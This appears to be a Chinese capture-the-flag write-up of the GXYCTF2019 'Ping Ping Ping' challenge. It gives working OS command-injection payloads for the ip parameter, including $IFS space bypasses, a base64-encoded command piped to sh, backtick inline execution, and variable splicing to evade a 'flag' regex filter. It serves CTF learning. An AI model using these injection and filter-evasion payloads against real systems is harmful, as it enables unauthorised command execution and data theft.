[GXYCTF2019]Ping Ping Ping 【多解】

这题考的比较全面:
在这里插入图片描述
随便ping一下:
在这里插入图片描述
正常request了,那跟我之前做的有一题应该差不多,直接payload:

?ip=127.0.0.1;cat%20/flag

      
      
      
      
  • 1

在这里插入图片描述
应该是过滤了一些符号,那先试试payload:

?ip=127.0.0.1;ls

      
      
      
      
  • 1

在这里插入图片描述
还好ls了一下,不然这不得cat半天?
试一下cat index:
在这里插入图片描述
过滤空格了,可以用${IFS}$代替:
在这里插入图片描述
可能也过滤了{},用$IFS$1代替:
payload:

?ip=127.0.0.1;cat$IFS$1index.php

      
      
      
      
  • 1

在这里插入图片描述
一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤:
payload:

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

      
      
      
      
  • 1
Y2F0IGZsYWcucGhw是cat flag.php的base64-encode

      
      
      
      
  • 1

拿到flag:
在这里插入图片描述
这行payload不懂可以看一下这位师傅的小结:
https://www.ghtwf01.cn/index.php/archives/273/

然后又看了别人的wp,他们说有大佬payload:

?ip=127.0.0.1;cat$IFS$1`ls`

      
      
      
      
  • 1

也可以拿到flag,这行payload他们解释说:

方法名叫内联执行
方法:将反引号内命令的输出作为输入执行

      
      
      
      
  • 1
  • 2

然后在F12下就全部ls出来了(0110 0110 0110):
在这里插入图片描述
还有一种说可以拼接,我没拼出来,我的payload:

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php

      
      
      
      
  • 1

在这里插入图片描述
师傅的payload:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

      
      
      
      
  • 1

在这里插入图片描述
额,我裂开,然后我就查了一下:
在这里插入图片描述

有点模糊,动手都试一遍:

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php	有request,但没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php  	过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php	有flag

      
      
      
      
  • 1
  • 2
  • 3
  • 4

太疑惑了叭,为什么!我问到了再回来加,你们有人知道也可以留言,感激不尽!

(两天后,论坛有人回复了)

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");

      
      
      
      
  • 1
  • 2
匹配一个字符串中,是否按顺序出现过flag四个字母

      
      
      
      
  • 1

这就解释了为什么我当初试a=fl;b=ag;会被过滤掉的原因。

                                

你可能感兴趣的:(buuctf)